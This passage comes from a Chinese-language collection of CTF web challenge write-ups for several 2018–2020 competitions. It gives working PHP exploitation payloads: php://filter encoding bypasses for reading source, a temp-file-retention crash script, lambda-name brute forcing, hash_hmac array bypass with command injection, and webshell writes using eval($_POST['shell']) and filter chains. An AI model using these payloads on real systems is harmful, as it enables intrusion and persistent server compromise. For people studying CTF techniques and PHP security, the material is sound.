    }var_dump(get_defined_vars);//}

然后提示要包含rea1fl4g.php,尝试伪协议加取反绕过。

<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

[NPUCTF2020]ezinclude

php伪协议读一下flflflflag.php的源码,过滤了data|input|zip,不能直接写马。
利用php < 7.2的特性

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

payload:

import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

打开dir.php得到临时文件名,flag在phpinfo中。

[SUCTF 2018]annonymous

想办法调用匿名函数,原理如下:

匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)

写个脚本暴力跑一下

import requests
while True:
    r=requests.get('http://url/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break

[羊城杯 2020]Blackcat

hash_hmac在进行sha256加密时将遇到数组返回空值,和数组绕过sha256比较的原理相同。

payload:
White-cat-monitor[]=K1ose&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

[羊城杯 2020]Easyphp2

php://filter伪协议的骚操作,过滤了base64|rot13等常用,但。。。

payload:
1.php://filter/convert.%6%32ase64-encode/resource=GWHT.php (二次url编码绕过)
2.php://filter/read=convert.quoted-printable-encode/resource=GWHT.php (Quoted-printable编码绕过)
3.php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php (utf系列绕过)

读到源码后把user=pass改为GWHT正常访问,通过字符串拼接直接写马:

count='|echo "<?= eval(\$_POST['shell'])?>" > a.php'

连上之后发现权限不够,找到密码的hash直接爆破,然后用su执行cat flag

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

[WMCTF2020]Web Check in 2.0

上一题是filter的读,这个事filter的写,原理类似。出题人的参考
以及这篇及其详细的
还是两种思路,用url编码绕过过滤和直接filter过滤器绕过,但这里过滤了%25,编码绕过时需要fuzz一下找个能用的,

<?php 
$char = 'r'; #构造r的二次编码 
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { 
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { 
        $aaa = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($aaa)) == $char){ 
            echo $char.': '.$aaa; 
            echo "\n"; 
        } 
    } 
} 
?> 
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php 
#Cyc1e.php 
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc 

或者组合去拳直接绕过

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php